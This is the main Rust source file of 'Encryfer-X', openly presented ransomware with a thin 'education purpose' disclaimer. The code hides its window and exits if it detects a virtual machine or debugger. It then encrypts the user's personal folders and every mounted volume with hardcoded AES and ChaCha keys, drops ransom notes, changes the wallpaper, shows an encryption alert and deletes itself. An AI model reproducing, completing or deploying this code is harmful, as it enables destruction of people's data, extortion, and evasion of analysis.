//===============================================================================================//
// Copyright (c) 2025, 5mukx (Smukx E)
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//

//===============================================================================================//
//                                    Encryfer-X [Rust Ransomware]
//===============================================================================================//

/*
    Note:
        * ALL SETTINGS ARE ENABLED BY DEFAULT ..!
            - Do not execute on real system [Chances of recovery are rare and less].
            - If you want to test it on VM' disable the vm's and dbg function.
            - Only for Education Purpose. Im not responsible for abusing activities by modifying the code.
        * Created with ❤ by 5mukx.
*/

// Run without console !
#![windows_subsystem = "windows"]


#![allow(unused_imports)]
use std::path::{Path, PathBuf};
use encrypt::create_readme_file;
use file_operand::get_all_volumes;
use self_delete::{schedule_self_delete, self_destruction};
use winapi::um::{
    debugapi::{CheckRemoteDebuggerPresent, IsDebuggerPresent}, processthreadsapi::GetCurrentProcess, wincon::{
        FreeConsole, 
        GetConsoleWindow
    }, winuser::{
        MessageBoxA,
        ShowWindow,
        MB_ICONEXCLAMATION
    }
};

// Algorithm Specfics 
use aes::Aes256;
use aes::cipher::{KeyIvInit,StreamCipher};
use hex::decode;
mod encrypt;
mod file_operand;
mod wall;
mod evade_vm;
mod self_delete;
mod evade;

use wall::maldev_wallpaper;
use dirs::{desktop_dir, download_dir, document_dir, picture_dir, audio_dir, video_dir};
type Aes256Ctr = ctr::Ctr128BE<Aes256>;

fn main() {

    println!("Starting the Encryption");


    // Rust has better options for this !
    
    // used to hide window ! there are plenty of methods avaiable !
    unsafe{
        FreeConsole();

        let hwnd = GetConsoleWindow();
        if !hwnd.is_null(){
            ShowWindow(hwnd, 0);
        }
    }
    
    // Uncomment it to test it on VMs

    // => Start 
    let vms: bool = evade_vm::evade_vms();
    let dbg: bool = evade::evade_dbg();


    if vms == false || dbg == true{
        std::process::exit(0x100);
    } 
    
    // Check if the program is running an dbgger
    unsafe { debug() };
    // => END

    
    // To common C:// common folders that contains sensitive files !
    let dirs_to_encrypt = vec![
        desktop_dir(),
        download_dir(),
        document_dir(),
        picture_dir(),
        audio_dir(),
        video_dir(),
    ];

    println!("Starting the Encryption");

    // Start Encrypting Important Paths !
    for dir in dirs_to_encrypt.iter().flatten(){
        encryptor(dir);
        create_readme_file(dir);
    }

    volume_paths();

    // Use it to encrypt Volumes present in the Computer. May take some time depends upon the files victm has
    maldev_wallpaper();

    display_message();
    std::thread::sleep(std::time::Duration::from_secs(2));

    // there are 2 functions that you can use it to delete. 
    // schedule_self_delete();
    self_destruction();

    std::process::exit(0x100);
}


// Decrypt the main key
fn decrypt_combined_key(encrypted_key: &[u8], aes_key: &[u8; 32]) -> Result<Vec<u8>, &'static str> {
    if encrypted_key.len() < 16 {
        return Err("Invalid encrypted key length");
    }
    let aes_iv: [u8; 16] = encrypted_key[0..16].try_into().unwrap();
    let mut cipher = Aes256Ctr::new(aes_key.into(), &aes_iv.into());
    let mut decrypted_key = encrypted_key[16..].to_vec();
    cipher.apply_keystream(&mut decrypted_key);
    Ok(decrypted_key)
}

// Split the decrypted keys into the original components
fn split_keys(combined_key: &[u8]) -> ([u8; 32], [u8; 32], [u8; 12]) {
    let aes_key: [u8; 32] = combined_key[0..32].try_into().unwrap();
    let chacha_key: [u8; 32] = combined_key[32..64].try_into().unwrap();
    let chacha_nonce: [u8; 12] = combined_key[64..76].try_into().unwrap();
    (aes_key, chacha_key, chacha_nonce)
}

fn display_message() {
    unsafe {
        MessageBoxA(
            std::ptr::null_mut(),
            "Read RECOVER.txt file on Each Encrypted Folder for more information\0".as_ptr() as *const i8,
            "Your Files Has Been Encrypted\0".as_ptr() as *const i8,
            MB_ICONEXCLAMATION,
        );
    }
}


fn decrypt_hexa(keys: String)-> Vec<u8>{
    let dec_hexa = decode(keys).expect("Failed to decode Hex");
    let decrypt_vec_key: Vec<u8> = dec_hexa.iter().cloned().collect();

    decrypt_vec_key
}

fn encryptor(dir_path: &Path){

    // Replace your Keys generated from Random Generator.
    // Note that this keys will extract original key from the ma1n key so do not change the keys !
    // For new key generation. i have made a random key generator that generate keys with rand function !.

    let aes_key: [u8; 32] = [
        27, 20, 127, 230, 201, 208, 178, 24, 197, 76, 96, 12, 16, 47, 231, 42, 156, 36, 136, 165, 162, 223, 206, 190, 126, 59, 96, 99, 157, 122, 32, 165
    ];
    
    let ma1n_k3y = "58add3b1ecdd2a00d7f5f40fe04e46dff4beff64fa127f6a6b045d6788d58c1dd19675241841b5b15e4095ce39a01387609572d83acc5def7a04564ece79987a7b19cf1ecca6c5d672b91d94239079a30e7130a099fc7d9c8fc94d07".to_string();
    
    let v3c_value = decrypt_hexa(ma1n_k3y);
    
    let decrypted_keys = decrypt_combined_key(&v3c_value, &aes_key).unwrap();
    let (aes_key_dec, chacha_key, chacha_nonce) = split_keys(&decrypted_keys);

    file_operand::recursive_encrypt(
        &dir_path,
        &aes_key_dec,
        &chacha_key,
        &chacha_nonce,
    );
}

fn volume_paths(){
        // To encrypt each and every disk ! 

        // let volumes = get_all_volumes_except_c();
        // println!("{:?}", volumes);

        if get_all_volumes().is_empty() {
            return;
        }
        
        for volume in get_all_volumes() {
            create_readme_file(&PathBuf::from(&volume));
            encryptor(Path::new(&volume));
        }
}

unsafe fn debug(){
    let mut debugger: i32 = 1;

    CheckRemoteDebuggerPresent(
        GetCurrentProcess(), 
        &mut debugger
    );
    
    let debugger1 = IsDebuggerPresent();
  
    if debugger != 0{
        // println!("Debugger is detected. Exiting...");
        std::process::exit(0x100);
    }else if debugger1 != 0{
        // println!("Debugger is detected. Exiting...");
        std::process::exit(0x100);

    }
}
